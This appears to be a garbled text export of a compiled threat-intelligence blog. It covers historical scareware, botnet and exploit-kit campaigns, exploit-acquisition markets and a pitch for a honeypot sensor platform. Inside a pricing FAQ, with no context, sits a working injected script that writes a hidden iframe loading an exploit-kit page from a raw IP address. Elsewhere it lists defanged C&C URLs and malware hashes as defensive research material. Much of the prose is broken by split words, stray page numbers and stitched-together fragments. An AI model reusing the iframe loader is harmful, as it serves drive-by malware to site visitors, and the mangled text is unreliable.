I'd be more than happy to offer a recent threat intelligence research snapshot.

04. **Tell me more about the pricing options?**

Monthly subscriptions covering daily weekly and monthly updates start at $4,000 includ-

ing guaranteed access to 24-32 analysis on a daily basis including active in-house all-source

analysis guaranteeing that your organization remains on the top of its game by possessing the

necessary data information and knowledge to stay ahead of current and emerging threats.

05. **What does the database cover?**

- Russian Business Network coverage

- Koobface Botnet coverage

- Kneber Botnet coverage

- Hundreds of IOCs (Indicators of Compromise)

- Tactics Techniques and Procedures In-Depth Coverage

- Malicious and fraudulent infrastructure mapped and exposed

5642

window.status="Done";document.write("<iframe name=ee0712ffo src=\"http://58.65.232.33/gpack/index.php?<Math.round(Math.random()*112608)>\" width=306 height=368 style=\"display:none\"></iframe><iframe name=ee0712ffo src="http://58.65.232.33/gpack/index.php?76242" width=306 height=368 style="display:none"></iframe>"

- Malicious and fraudulent Blackhat SEO coverage

- Malicious spam and phishing campaigns

- Malicious and fraudulent scareware campaigns

- Malicious and fraudulent money mule recruitment scams

- Malicious and fraudulent reshipping mule recruitment scams

- Web based mass attack compromise fraudulent and malicious campaigns

- Malicious and fraudulent client-side exploits serving campaigns

The database also offers active malverising, scareware, rogueware, malware, phishing,

spam, IM malware, mobile malware, mac OS X malware, android malware, blackhat SEO,

money mule recruitment, reshipping mule recruitment, including ransomware coverage.

06. **How often does it update?**

Updates as issued on a daily weekly monthly basis guaranteeing unlimited access to in-

house analysis all-source analysis guaranteeing access to daily weekly and monthly updates.

Enjoy!

14.6.1 Historical OSINT - iPowerWeb Hacked Hundreds of Web Sites Affected

(2018-10-19 18:17)

In 2008 it became evident that a widespread malware-embedded attack took place success-

fully affecting hundreds of iPowerWeb customers potentially exposing hundreds of legitimate

Web sites to a multi-tude of malicious software courtesy of a well known **[1] Russian Business**

Network's hosting provider - HostFresh.

In this post we'll profile the campaign provide actionable intelligence on the infrastructure

behind it and discuss in-depth the tactics techniques and procedures of the cybercriminals

5643

behind it. We'll also establish a direct connection between the campaign's infrastructure and

the **[2] Russian Business Network**.

14.6.2 Historical OSINT - Gumblar Botnet Infects Thousands of Sites Serves Adobe

Flash Exploits (2018-10-19 22:46)

According to **[1] security researchers** the **[2] Gumblar botnet** is making a comeback suc-

cessfully affecting thousands of users globally potentially compromising the confidentiality

availability and integrity of the targeted host to a multi-tude of malicious client-side exploits

serving domains further dropping malicious software on the affected hosts.

In this post we'll provide actionable intelligence on the infrastructure behind it and dis-

cuss in-depth the tactics techniques and procedures of the cybercriminals behind it.

14.6.9 HIstorical OSINT - Latvian ISPs, Scareware, and the Koobface Gang Connec-

tion (2018-10-20 22:34)

It's 2010 and we've recently stumbled upon yet another malicious and fraudulent campaign

courtesy of the Koobface gang actively serving fake security software also known as scare-

ware to a variety of users with the majority of malicious software conveniently parked within

79.135.152.101 - AS2588, LatnetServiss-AS LATNET ISP successfully hosting a diverse portfolio

of fake security software.

In this post, I'll provide actionable intelligence on the infrastructure behind the campaign and

discuss in-depth the tactics techniques and procedures of the cybercriminals behind it.

Sample malware known to have participated in the campaign:

installer.1.exe - MD5:

4ab2cb0dd839df64ec8d682f904827ef - Trojan.Crypt.ZPACK.Gen;

Mal/FakeAV-CQ - Result: 9/40 (22.50 %)

Related malicious phone back C &C server IPs:

hxxp://av-plusonline.org/install/avplus.dll

hxxp://av-plusonline.org/cb/real.php?id=

Related malicious MD5s known to have participated in the campaign:

avplus.dll - MD5: 57c79fb723fcbf4d65f4cd44e00ff3ed - FakeAlert-LF; Mal/FakeAV-CL - Re-

sult: 6/39 (15.39 %)

It's gets even more interesting as **hxxp://fast-payments.com** - 91.188.59.27 is parked

within Koobface botnet's 1.0 phone back locations (**hxxp://urodinam.net**) and is also hosted

within the same netblock at 91.188.59.10.

Sample related malicious URLs known to have participated in the campaign:

hxxp://urodinam.net/33t.php?stime=125558

5673

-

hxxp://91.188.59.10/opa.exe

-MD5:

d4aacc8d01487285be564cbd3a4abc76

-

Down-

loader.VB.7.S; Mal/Koobface-B - Result: 10/40 (25 %)

Once executed a sample malware phones back to the following malicious C &C server

IPs:

hxxp://aburvalg.com/new1.php - 64.27.0.237

- hxxp://fucking-tube.net

The following domains use it as a name server:

hxxp://ns1.addedantivirus.com

14.6.10 Historical OSINT - Massive Scareware Dropping Campaign Spotted in the

Wild (2018-10-20 22:38)

It's 2008 and I've recently spotted a currently circulating malicious and fraudulent scareware-

serving malicious domain portfolio which I'll expose in this post with the idea to share

actionable threat intelligence with the security community further exposing and undermining

the cybercrime ecosystem the way we know it potentially empowering security researchers

and third-party vendors with the necessary data to stay ahead of current and emerging

threats.

14.6.17 Historical OSINT - Yet Another Massive Blackhat SEO Campaign Spotted in

the Wild Drops Scareware (2018-10-21 23:47)

It's 2010 and I've recently came across to a currently active malicious and fraudulent black-

hat SEO campaign successfully enticing users into interacting with rogue and fraudulent

scareware-serving malicious and fraudulent campaigns.

In this post I'll provide actionable intelligence on the infrastructure behind the campaign.

OSINT

-

Spamvertized

Swine

Flu

Domains

-

Part

Two

(2018-10-21 23:50)

It's 2010 and I've recently came across to a currently active diverse portfolio of Swine Flu

related domains further enticing users into interacting with rogue and malicious content.

In this post I'll profile and expose a currently active malicious domains portfolio currently

circulating in the wild successfully involved in an ongoing variety of Swine Flu malicious spam

campaigns and will provide actionable intelligence on the infrastructure behind it.

14.6.19 Historical OSINT - Massive Blackhat SEO Campaign Spotted in the Wild Drops

Scareware (2018-10-21 23:55)

It's 2008 and I've recently stumbled upon a currently active malicious and fraudulent blackhat

SEO campaign successfully enticing users into falling victim into fake security software

also known as scareware including a variety of dropped fake codecs largely relying on the

acquisition of legitimate traffic through active blackhat SEO campaigns in this particular case

various North Korea news including Mike Tyson's daughter themed campaigns.

14.6.23 HIstorical OSINT - Malicious Economies of Scale - The Emergence of Efficient

Platforms for Exploitation - 2007 (2018-10-22 16:23)

Dear blog readers it's been several years since I last posted a quality update following my

[1] 2010 disappearance. As it's been quite a significant period of time since I last posted a

quality update I feel it's about time I post an quality update by detailing the Web Malware

Exploitation market segment circa 2007 prior to my visit to the GCHQ as an independent

contractor with the **[2] Honeynet Project**.

In this post I'll discuss the rise of Web malware exploitation kits circa 2007 and offer in-

depth discussion on the current and emerging tactics techniques and procedures (TTPs) of the

cybercriminals behind it. With cybercriminals continuing to actively rely on the exploitation

of patched and outdated vulnerabilities and with end users continuing to actively utilize

unpatched and outdated third-party software it shouldn't be surprising

that today's botnets

remain relatively easy to generate and orchestrate for the purpose of committing financial

fraud.

Malicious Economies of Scale literally means utilizing attack techniques and exploitation

approaches to efficiently, yet cost and time effectively, infect or abuse as many victims as

possible, in a combination with an added layer of improved metrics on the success of the

campaigns. What are the most popular web exploitation kits that malicious parties use to

achieve this? Which are the most popular vulnerabilities used in the majority of the kits? What

are the most popular techniques for embedding malware? This white paper will outline this

efficiency-centered attack model, and will cover web application vulnerabilities, client-side

vulnerabilities, malvertising and black hat SEO (search engine optimization).

5771

An overview of the threats posed by rising number of malware embedded sites, with a

discussion of the exploitation techniques and kits used, as well as detailed summaries of all

the high-profile such attacks during 2007.

01. Reaching the Efficiency Scale Through a Diverse Set of Exploited Vulnerabilities

2007 was the year in which client-side vulnerabilities significantly replaced server-side

ones as the preferred choice of malicious attackers on their way to achieve the highest

possible attack success rate, while keeping their investment in terms of know-how and

personal efforts to the minimum. Among the most successful such attacks during 2007 was

Storm Worm, the perfect example that the use of outdated and already patched vulnerabilities

can result in aggregating the world's largest botnet according to industry and independent

researchers' estimates.

By itself, this attack technique is in direct contradiction with the

common wisdom that zero day vulnerabilities are more dangerous than already patched ones,

however, the gang behind Storm Worm quickly envisioned this biased statement as false, and

by standardizing the exploitation process with the help of outdated vulnerabilities achieved

an enormous success.

Years ago, whenever, a vulnerability was found and exploit code released in the wild,

malicious attackers used to quickly released a do-it-yourself exploitation kit to take advantage

of a single exploit only. Nowadays, that's no longer the case, since by using a single exploit

whether an outdated, or zero day one, they're significantly limiting the probability for a

successful attack, and therefore the more diverse and served on-the-fly is the set of exploits

used in an attack, the higher would the success rate be.

What was even more interesting to monitor during 2007, was the rise of high-profile sites

serving malware, and the decline of malware coming from bogus ones. From the **[3] Massive**

Embedded Malware Attack at a large Italian ISP to the Bank of India, the Syrian Embassy

in the U.K, the U.S Consulate in St. Petersburg, China's CSIRT, Possibility Media's entire

portfolio of E-zines, to the French government's site related to Lybia, these trusted web sites

were all found to serve malware though an embedded link pointing back to the attacker's

malicious server. Let's clarify what malicious economies of scale means, and how do they do

it.

02. What is malicious economies of scale, and how is it achieved?

Malicious economies of scale is a term I coined in 2007 to summarize the ongoing trend

5772

of efficiently attacking online users, by standardizing the exploitation process, and by doing

so, not just lowering the entry barriers into the process of exploiting a large number of users,

but also, maintaining a rather static success rate of infections. Malicious economies of scale

is the efficient way by which a large number of end users get infected, or have their online

abused, with the malicious parties maintaining a static attack model.

It's perhaps more

important to also describe how is the process achieved at the first

place? The first strategy

applied has to do with common sense in respect to the most popular software applications

present at the end user's end, and the first touch-point in this case would be the end user's

Internet browser.

Having its version easily detected and exploit served, one that's directly matching the

vulnerable version, is among the web exploitation kits main functionalities. Let's continue with

the second strategy, namely to increase the probability of success. As I've already pointed

out, do-it-yourself single vulnerability exploiting tools matured into web exploitation malware

kits, now backed up with a diverse set of exploits targeting different client-side applications,

which in this case is the process of increasing the probability of successful infection. The

third strategy has to do with attracting the traffic to the malicious server, that as I've already

discussed is already automatically set to anticipate the upcoming flood of users and serve the

malware through exploiting client-side software vulnerabilities on their end. This is mainly

done through exploiting remote file inclusion vulnerabilities within the high-profile targets, or

through remotely exploitable web application vulnerabilities to basically embed a single line

of code, or an obfuscated javascript that when deobfuscated will load the malicious URL in

between loading the legitimate site.

Popular Malware Embedded Attack Tactics

This part of the article will briefly describe some of the most common attack tactics ma-

licious parties use to embed links to their malicious servers on either high-profile sites, or

any other site with a high pagerank, something they've started measuring as of recently

according to threat intell assessment on an automated system to embed links based on a

site's popularity.

• The "pull" Approach – Blackhat SEO, Harnessing the Trusted Audience of a Hacked Site

In this tactic, malicious parties entirely rely on the end users to reach their malicious server,

compared to the second tactic of "pushing" the malicious links to them. This is primarily

accomplished through the use of Blackhat SEO tools generating junk content with the idea to

successfully attract search engine traffic for popular queries, thus infecting anyone who visits

the site, who often appear within the first twenty search results. The second "pull" approach

such tactic is harnessing the already established trust of a site such as major news portal for

instance, and by embedding a link to automatically load on the portal, have the users actually

5773

"pull" the malware for themselves

• The "push" Approach – Here's Your Malware Embedded Link

The "push" approach's success relies in its simple logic, with end users

still worrying about

downloading or clicking on email attachments given the overall lack of understanding on

how to protect from sites serving malware, it's logical to consider that basically sending a

link which once visited will automatically infect the visitor though exploiting a client-side

vulnerability, actually works. Storm Worm is the perfect example, and to demonstrate what

malicious economies of scale means once again, it's worth mentioning Storm's approach

of having an already infected host act as an infection vector itself, compared to its authors

having to register multiple domains and change them periodically. The result is malware

embedded links exploiting client-side vulnerabilities in the form of an IP address, in this case

an already infected host that's now aiming to infect another one

• **Automatically Exploiting Web Application Vulnerabilities – Mass SQL Injection Attacks**

As I've already pointed out, malicious parties are not just efficiently scanning for remotely

exploitable web application vulnerabilities or looking for ways to remotely include files on

any random host, they've started putting efforts into analyzing the page rank, and overall

popularity of a site they could exploit. This prioritizing of the sites to be used for a "pull"

tactic is aiming to achieve the highest possible success rate by targeting a high-trafficked

site, where even though the attack can be detected, the "window of

opportunity” while the

users were also accessing the malicious server could be far more beneficial than having a

permanent malware link on a less popular site for an indefinite period of time.

• **Malicious Advertisements - Malvertising**

Among the most popular traffic acquisition tactics nowadays remain the active utilization of

legitimate Web properties for the purpose of socially engineering an ad network provider into

featuring a specific malware-serving advertising at the targeted Web site including active Web

site compromise for the purpose of injecting rogue and malicious ads on the targeted host.

5774

ing Market Segment

• **Buying Access to Hacked Cpanels or Web Servers**

Thanks to a vibrant DIY (do-it-yourself) Web malware exploitation kit culture including the active

utilization of various DIY Web site exploitation and malware-generating cybercriminals continue

actively utilizing stolen and compromised accounting data for the purpose of injecting malicious

scripts on the targeted host further compromising the confidentiality availability and integrity

of the targeted host.

• **Harvesting accounting data from malware infected hosts**

Having an administrator access to a domains portfolio, or any type of access though a web

application backdoor or direct FTP/SSH, has reached its commercial level a long time ago. In

fact, differentiated pricing applies in this case, on the basis of a site's page rank, whereas I've

stumbled upon great examples of "underground goods liquidity" as a process, where access to

a huge domains portfolio though a hacked Cpanels is being offered for cents with the seller's

main concern that cents are better than nothing, nothing in the sense that she may loose

access to the Cpanel before its being sold and thus ends up with nothing. Now, let's discuss

the most popular malware exploitation kits currently in the wild.

5775

The Most Popular Web Malware Exploitation Kits

Going into detail about the most common vulnerabilities used in the multitude of web

malware exploitation kits could be irrelevant from the perspective of their current state of

"modularity", that is, once the default installation of the kit contains a rather modest set of

exploits, the possibility to add new exploits to be used has long

reached the point'n'click

stage. Even worse, localizing the kits to different languages further contributes to their easy

of use and acceptance on a large scale, just as is their open source nature making it easy for

coders to use a successful kit's modules as a foundation for a new one – something's that's

happening already, namely the different between a copycat kit and an original coded from

scratch one. Among the most popular malware kits remain :

• A Brief Overview of MPack, IcePack, Zunker, Advanced Pack and Fire Pack

During 2007, Mpack emerged as the most popular malware exploitation kit.

Originally

available for purchase, by the time copies of the kit started leaking out, anyone from a script

kiddie to a pragmatic attacker have obtained copy of it. Mpack's main strength is that of its

well configured default installation, which in a combination with a rather modest, but then

again, modular set of exploits included, as well as its point'n'click level of sophistication

automatically turned it into the default malware kit. Mpack's malware kit has been widely

used on nearly all of the high-profile malware embedded attacks during 2007, however, its

popularity resulted in way too much industry attention towards its workings, and therefore,

malicious parties starting coming up with new kits, still using Mpack as the foundation at least

from a theoretical perspective.

The list is endless, the Nuclear Malware kit, Metaphisher, old version of the WebAttacker

and the Rootlauncher kit, with the latest and most advanced innovation named the Random

JS Exploitation Kit. Compared to the previous one, this one is going a step beyond the usual

centralized malicious server.

With malicious parties now interested in controlling as much infected hosts with as little

effort as possible, client-side vulnerabilities will continue to be largely abused in an efficient

way thought web malware exploitation kits in 2008. The events that took place during 2007,

clearly demonstrate the pragmatic attack approaches malicious parties started applying,

namely realizing that an outdated but unpatched on a large scale vulnerability is just as

valuable as a zero day one.

14.6.24 Pay-Per-Exploit Acquisition Vulnerability Programs - Pros and cons?

(2018-10-22 17:47)

As

[1]**ZERODIUM** starts paying premium rewards to security researchers to

acquire their previously unreported zero-day exploits affecting

multiple operating systems software and/or devices a logical

question emerges in the context of the program's usefulness the

potential benefits including potential vulnerabilities within

the actual acquisition process - how would the program undermine the security industry and

what would be the eventual outcome for the security researcher in terms of

[2] fueling growth in the cyber warfare market segment

?

In this post I'll discuss the m

arket segment for p

ay-per-exploit

acquisition progr

ams

and discuss in-depth the current exploit-

acquisition methodology utilized by different vendors

and provide in-depth discussion on v

arious over-the-counter

acquisition methodologies

applied by m

alicious

att

ackers on their w

5777

ay to monetize

access to m

alw

are-infected hosts while compromising the confidenti

ality

av

ail

ability

and integrity of the t

argeted

host including

an

active discussion on the ongoing

and potenti

al we

aponiz

ation of zero d

ay vulner

abilities int the context of tod

ay’s cyber w

arf

are world.

Having

greatly realized the potential of acquiring zero day

vulnerabilities for the purpose of actively exploiting end

users malicious actors have long been aware of the

[3]**over-the-counter acquisition market model**

further enhancing their capabilities when launching malicious

5778

campaigns. Among the most widely [4]**spread myth about zero day vulnerabilities** is the fact

that

[5] zero day vulnerabilities arethe primary growth factor of the cybercrime ecosystem

further

resulting in a multi-tude of malicious activity targeting end

users.

With vendors continuing to est

ablish the found

ations for

active vulner

a bility and exploit

acquisition progr

ams third-p

arty vendors

and rese

arch org

aniz

ations continue successfully disintermedi

ating the vendor’s m

ajor vulner

ability

and exploit

acquisition progr

ams successfully resulting in the l

aunch

and est

ablishment of third-p

arty services

and products further popul

ating the security-industry with rel

ated products

and services potenti

ally

acquiring "know-how"

5779

and relev

ant vulner

ability

and exploit inform

ation from m

ajor vendors further l

aunching rel

ated comp

anies

and services potenti

ally empowering third-p

arty rese

archers vendors

and individu

als including n

ation-st

ate

actors with potenti

al we

aponiz

ation c

ap

abilities potenti

ally le

ading to successful t

arget-

acquisition pr

actices on beh

alf of third-p

arty rese

archers

and individu

als.

5780

Becoming

a t

arget in the widespread

context of third-p

arty vendors

and rese

archers might not be the wisest

appro

ach when undermining potenti

al rese

arch

and in-house rese

arch

and benchm

arking

activities in terms of e v alu

ating

and responding to vulner

abilities

and exploits. Vendors looking for w

ays to efficiently improve the over

all security

and product perform

ance in terms of security should consider b

asic intern

al benchm

arking pr

actices and should also consider a possible incentive-based type of vulnerability and exploit

reward-type of revenue-sharing program potentially rewarding company employees and

researchers with the necessary tools and incentives to find and discover and report security

vulnerabilities and exploits.

Something else worth pointing out in terms of vulnerability research and exploit discovery is

a process which can be best described as the life-cycle of a zero day vulnerability and exploit

which can be best described as a long-run process utilized by malicious and fraudulent actors

successfully utilizing client-side exploits for the purpose of successfully dropping malicious

software on the hosts of the targeted victims which often rely on outdated and patched

vulnerabilities and the overall misunderstanding that zero day vulnerabilities and exploits are

the primary growth factor of the security-industry and will often rely on the fact that end users

and enterprises are often unaware of the basic fact that cybercriminals often rely on outdated

and patched vulnerabilities successfully targeting thousands of users globally on a daily basis.

What used to be a market-segment dominated by DIY (do-it-yourself) exploit and

malware-generating tools is today's modern market-segment dominated by Web

malware-exploitation kits successfully affecting thousands of users globally on a daily basis.

In terms of Web-malware exploitation kits among the most common misconceptions

regarding the utilization of such type of kits is the fact that the cybercriminals behind it rely

on newly discovered exploits and vulnerabilities which in fact rely on **[6] outdated and already**

patched security vulnerabilities and exploits for the purposes of successfully enticing

thousands of users globally into falling victim into social-engineering driven malicious and

fraudulent campaigns.

Despite the evident usefulness from a malicious actor's

point of view when launching malicious campaigns malicious

actors continue utilizing outdated vulnerabilities for the

purpose of launching malicious campaigns further utilizing a

multi-tude of social engineering attack vectors to enhance the

usefulness of the exploitation vector. Another crucial aspect of

the pay-per-exploit acquisition vulnerability model is, the

reliance on outdated and unpatchted vulnerabilities for the

purpose of launching malicious campaigns further relying on

the basic fact that on the majority of occasions end users fail to successfully update their

third-party applications often

exposing themselves to a variety of successful malicious

campaigns utilizing outdated and unpatched vulnerabilities.

We

expect to continue observing an increase in the pay-per-exploit acquisition model with,

related acquisition model participants

5782

continuing to acquire vulnerabilities further fueling growth

into the market segment. We expect that malicious actors will

adequately respond through over-the-counter acquisition models

including the utilization of outdated and unpatched

vulnerabilities. End users are advised to continue ensuring that

their third-party applications are updated to build a general

security awareness and to ensure that they’re running a fully

patched antivirus solution.

14.6.25 Joining Team Astalavista - Stay Tuned! (2018-10-22

19:45)

Dear blog readers I wanted to let everyone know that I will be shortly joining Team Astalavista

- The World's Most Popular Information Security Portal acting a Managing Director following a

successful career as Managing Director through 2003-2006 where I used to maintain **[1] a highly**

informative and educational Security Newsletter featuring exclusive content and security in-

terviews (**[2] Security Interviews 2004/2005 - Part 1**; **[3] Security Interviews 2004/2005 - Part 2**;

[4] Security Interviews 2004/2005 - Part 3) with people from the Scene including daily content

moderation successfully re-positioning the portal as the **[5] World's Most Popular Information**

Security Portal.

5784

How you can help? **[6] Consider making a modest donation** to ensure a proper and smooth

launch of the portal. The donation and sponsorship will go to ensure that the launch is properly

empowered with the necessary tools to ensure a smooth launch.

Stay tuned!

14.7 November

14.7.1 People's Information Warfare Concept vs the U.S DoD Cyber Warfare Doctrine

(2018-11-28 10:27)

I recently came across to the most recently published **[1] DoD Cyberspace Strategy 2018**

which greatly reminded me of a variety of resources that I recently took a look at in terms of

catching up with some of the latest cyberwarfare trends and scenarios. It appears that the

U.S is re-claiming back the dominance over the "communication channel" using a variety of

real-life oriented cyber threats including referencing and citing security researchers and NGOs

(Non-Profit Organization) as potential threats. Takes you back - doesn't it?

We cannot discuss these if we don't compare their cyber warfare approaches next to

one another. It's rather ironic situation, since China has built its cyber warfare doctrine based

on the research conducted into the topic by U.S military personnel. At a later stage, Chinese

military thinkers perceived the combination of Sun Tzu's military strategies in the virtual realm

The countless number of allegations by countries across the world that China's As for

the U.S DoD put in a "catch-up mode" by major news outlets. Pushing the boundaries of the

irrelevance? That’s for sure.

- Russia doctrine - people’s information warfare

5785

With Russia continuing to dominate the threat landscape of terms of massive and large

scale economic and financial espionage in the face of cybercrime-driven fraudulent and mali-

cious economy which can be best described as something in the lines of economic terrorism

- China doctrine - people’s information warfare - U.S copycats

- Iran’s doctrine - academic playground

Let’s compare China’s People’s Army and the U.S DoD to Germany whose vision is that

if they forbid the use of "hacking tools" to some and real-life pen-testing tools

The U.S botnet of military hosts was the last indication of total misunderstanding of the

current threatscape, by putting the emphasis on the "striking capability", which is rather

logical when you have real-life military personnel converted to cyber warriors.

A doctrine that’s aiming to prevent sensitive military secrets of leaking is forgetting some

of the basics of information warfare - disinformation, or come and hack us, and steal our

tweaked sensitive military secrets. On purposely, disinformation on the actual state of cyber

warfare preparedness by on purposely suffering security breaches, then whining how they

have managed to break.

The left hand never knows what the right one is doing,

Capability matching vs threat acquisition?

China's already reached the unrestricted warfare stage, a phrase when its hacking capa-

bilities empowered Internet users self-mobilize themselves, the U.S DoD is implementing its

cyber warfare doctrine, and the rest of the world is whining for yet another password stealer

for online games that's phoning back to China.

A little less conversation, a little more action "babe".

5786

Now that's its becoming increasingly clear that cyber jihad is entering into a "stay tuned

for a webcast with your favorite terrorist" stage, what we may witness next is terrorist on

sand-proof Segways. Cutting the sarcasm, it's becoming boring the listen to the same song

played on a different media device.

14.8.1 Cyber Security Project Investment Proposal - DIA Needipedia - Fight Cyber-

crime and Cyber Jihad With Sensors - Grab Your Copy Today! (2018-12-16 13:52)

Dear blog readers, I decided to share with everyone a currently pending project investment

proposal regarding the upcoming launch of a proprietary Technical Collection analysis platform

with the project proposal draft available on request part of **[1] DIA's Needipedia** Project

Proposal Investment draft or eventually through the [2]**Smith Richardson Foundation**.

In case you're interested in working with me for the purpose of implementing the project

solution including a possible investment proposal on your behalf – that also includes a possible

VC or an angel investor introduction – I can be reached at dancho.danchev@hush.com

Looking forward to receiving your comments questions feedback and general remarks in-

cluding possible investment proposal requests. Happy Holidays!

Enjoy!

5788

01. Executive summary

The Obmonix platform aims to build the world's most versatile and

comprehensive sen-

sor network for intercepting cybercrime and cyber jihad activity on a global scale successfully

positioning the project as a leading in-house built provider for actionable intelligence within

the Intelligence Community.

02. What are you trying to do?

The Obmonix platform aims to build the world's most versatile and comprehensive sen-

sor network for intercepting cybercrime and cyber jihad activity successfully positioning

the platform as a leading in-house provider of actionable intelligence within the Intelligence

Community.

03. How is it currently done?

Largely relying on a selected set of outsourced intelligence-gathering providers the Intel-

5789

ligence Community overall reliance on commercial intelligence gathering providers has

successfully positioned the Intelligence Community with a limited sight in terms of pro-active

and systematic response to cybercrime and cyber jihad events globally.

04. What's new?

Largely relying on the utilization of multiple interception vectors including hybrid-based

type of sensor networks the Intelligence Community is successfully positioned to successfully

intercept and proactively respond to a growing set of cybercrime and cyber jihad events

globally.

05. Who cares?

The Intelligence Community largely positioned to take advantage of a growing set of

technologies for the purpose of pro-actively responding to a growing set of cybercrime and

cyber jihad events globally is ultimately empowered to take advantage of modern hybrid-

based type of sensor networks for the purpose of successfully intercepting and responding to

a growing set of cybercrime and cyber jihad events globally.

06. What are the risks?

Successfully positioning the provider as a leading provider for actionable intelligence in

terms of cybercrime and cyber jihad events globally within the Intelligence Community will

successfully position the Obmonix platform and its operator as a leading provider of actionable

intelligence within the Intelligence Community.

Transmittal Letter

My name is Dancho Danchev I'm an internationally recognized cybercrime researcher

security blogger and threat intelligence analyst currently maintaining some of the industry's

leading threat intelligence gathering information-sharing resources having successfully con-

tributed to the overall demise of cybercrime internationally having successfully monitored

analyzed and processed some of the industry's major nation-state and malicious actor type of

malicious campaigns over the last decade leading me to a successful career as a cybercrime

researcher security blogger and threat intelligence analyst leading me to a successful launch

of my newly launched startup named Disruptve Individuals and the Obmonix - Cybercrime

and Cyber Jihad Fighting Sensor Network.

Having successfully pioneered my own methodology for processing threat intelligence

data including active dissemination of threat intelligence data to a variety of sources including

an in-depth understanding of the Intelligence Cycle I'm certain that based on my experience

the time has come to establish a professional and working relationship with a government-

private sector enterprise leading me to a successful project proposal within the Intelligence

Community and the security industry.

My initial goal for submitting a project proposal is to ensure that the Intelligence Community

remains on the top of its game and that the United States remains ahead of adversaries looking

to profit from its economic might including the successful compromise of its infrastructure

potentially targeting the life's and well-being of its citizens globally.

Largely relying on a set of industry-leading contacts my initial idea is to ensure that the

Intelligence Community remains actively empowered with the world's largest and most

comprehensive platform for monitoring profiling and proactively responding to malicious

nation-state malicious actors type of cybercrime and cyber-jihad activity globally through

the successful establishing of a government-private sector type of partnership leading me

to a successful launch of my own company leading me to a successful project-based type of

project proposal.

Having actively contributed to the overall demise of cybercrime internationally through

the last decade I'm certain that my expertise ambition and expertise in the field will success-

fully contribute to the Intelligence Community's overall mission including a currently active

project within the Intelligence Community and the security industry.

I sincerely hope that my project proposal will be eventually funded leading me to be-

come an active participant within the Intelligence Community with a currently active project

within the Intelligence Community and the security-industry.

5792

Company Overview

The following brief will provide a detailed summary of the company overview including

key success factors and a project taxonomy.

Disruptive Individuals is a research-intensive data-driven company successfully establish-

ing the world's largest snapshot of malicious cybercrime activity for the purpose of offering

the industry the world's most versatile portfolio of malicious cybercrime-driven services

successfully positioning itself as the world's leading provider of real-time intelligence-driven

services and product portfolio including cybercrime-research data malicious activity profiling

services and custom-tailored intelligence assessments successfully positioning the company

as the world's leading provider of cybercrime-data driven research-intensive intelligence

data-driven company.

Key Success Factors

• the platform will be ultimately capable of establishing the industry's largest data set of

cybercrime activity for the purpose of real-time monitoring and profiling of malicious cy-

bercrime activity successfully infiltrating the majority of cybercrime forum communities

successfully establishing the foundations for an intelligence gathering process

• the platform will be ultimately capable of real-time forum data localization for the purpose

of successfully establishing the foundations for a successful intelligence gathering process

• the platform will be ultimately capable of establishing the foundations for real-time moni-

toring and profiling of malicious activity including forum member data successfully estab-

lishing the foundations for a successful intelligence gathering process

• the platform will be ultimately capable of establishing the world's largest data set of his-

torical cybercrime activity successfully establishing the foundations for a successful intel-

ligence gathering process

5793

Return on Investment

• research-based forum activity driven intelligence feeds

• the company will be ultimately capable of offering subscription based type of intelligence

driven services including intelligence and data-driven cybercrime and malicious-activity

capable feeds

• community-driven data processing capabilities

• the company will be ultimately capable of offering public feeds to include the necessary

data for the purpose of establishing an active community-based intelligence-data driven

type of intelligence-data driven type of services and feeds

• intelligence feed subscription type of managed intelligence-feed driven services

• the company will be ultimately capable of offering tailored intelligence-driven data feeds

successfully empowering security enthusiasts security experts researchers and govern-

ment contractors with the necessary data and expertise to offer an insight into the com-

pany's vast network of data and intelligence driven type of services

Company Data Project Taxonomy

This intelligence brief will details the basic company project taxonomy structure for the purpose

of establishing the foundations for a successful data and intelligence-driven type of research

based type of cybercrime and malicious-activity tracking activity to include but not limited to

cybercrime community forum data and active social media monitoring and, profiling capabili-

ties.

5794

Cybercrime Sensor Network

This intelligence brief will details the basic company project taxonomy structure for the purpose

of establishing the foundations for a successful data and intelligence-driven type of research

based type of cybercrime and malicious-activity tracking activity to include but not limited to

cybercrime community forum data and active social media monitoring and profiling capabili-

ties.

Explanation of Honeypot Technology

Honeypot technology greatly ensures that actionable and real-time data of jihadist activities

can be acquired profiled and analyzed acting as an early warning

system for jihadist activity

online.It relies on the systematic positioning of misconfigured network devices to better allow

the use of monitoring sensors attracting malicious traffic leading to an eventual compromise

allowing for better understanding of the motivation and capability estimation of the attacker

including active motivation and capabilities type of attribution leading to the production of

actionable real-time type of intelligence type of research and analysis type of data.

5798

Honepot Deployment Strategy

Honeypot technology greatly ensures that actionable and real-time data of jihadist activities

can be acquired profiled and analyzed acting as an early warning system for jihadist activity

online.

• **Fake Newspaper - Al-Jihah**

The initial idea behind setting up a fake newspaper (in Persian, Arabic) would be to establish

the foundation for a successful deceptive early warning system sensor further ensuring that

actionable and real-time jihadist activity data can be collected profiled and interpreted for

producing real-time intelligence summary reports. Daily updates with pro-jihadist material

would ensure the quality acquisition of traffic including potential deceptive campaigns to be

intercepted profiled an analyzed acting as an early warning system

sensor further ensuring the

collection of actionable real-time jihadist activities data.

5799

The Al-Jilah newspaper would act as a central repository for, various anti-jihad content suc-

cessfully positioning the paper as a primary attack target for cyber jihadist online successfully

increasing the probability for a successful attack and eventually collecting and interpreting the

attack data. The Al-Jilah newspaper would act as a central repository of anti-jihad content and

would be localized in Persian in Arabic successfully penetrating local and highly segmented

markets for the purpose of increasing the probability of a successful attack.

Various public placement strategy in terms of positioning the honeypot technology within

the eventual attack compromise activity would include active search engine optimization

techniques successfully leading to a great degree of capability estimation attack traffic and

would also result in eventual direct forum placement within various prominent jihadist activity

online forum communities.

• **Fake Bank – Arabah Financing**

The initial idea behind setting up a fake bank (in Persian, Arabic) would be to establish the

foothold of a deceptive campaign ensuring the collection of actionable real-time time jihadist

data to be analyzed and profiled. Successfully positioning the bank

within the network as-

sets acquisition would ensure the collection of actionable and real-time jihadist data further

ensuring the successful interception of jihadist activities online.

5800

The initial idea behind setting up a fake bank would be to successfully position a fake Web

site successfully resulting in the active deployment of honeypot appliance technologies for the

purpose of monitoring and profiling various jihadist activity online. Successfully setting up a

fake bank in Persian and Arabic would result in the active penetration of various market seg-

ment properties successfully resulting in the active profiling and monitoring of jihadist activity

online.

Successfully setting up a fake bank would result in the active publication of content inter-

related news releases emphasizing on major localized and segment released type of content

successfully resulting in the active profiling and monitoring of various jihadist activity on-

line.Successful positioning in terms of points of contact would ensure active phishing and

malware attack profiling and monitoring successfully resulting in active profiling and monitor-

ing of jihadist activity online.

• **Fake university – Abkazah University**

The initial idea behind setting up a fake university (in Persian, Arabic) would be to establish

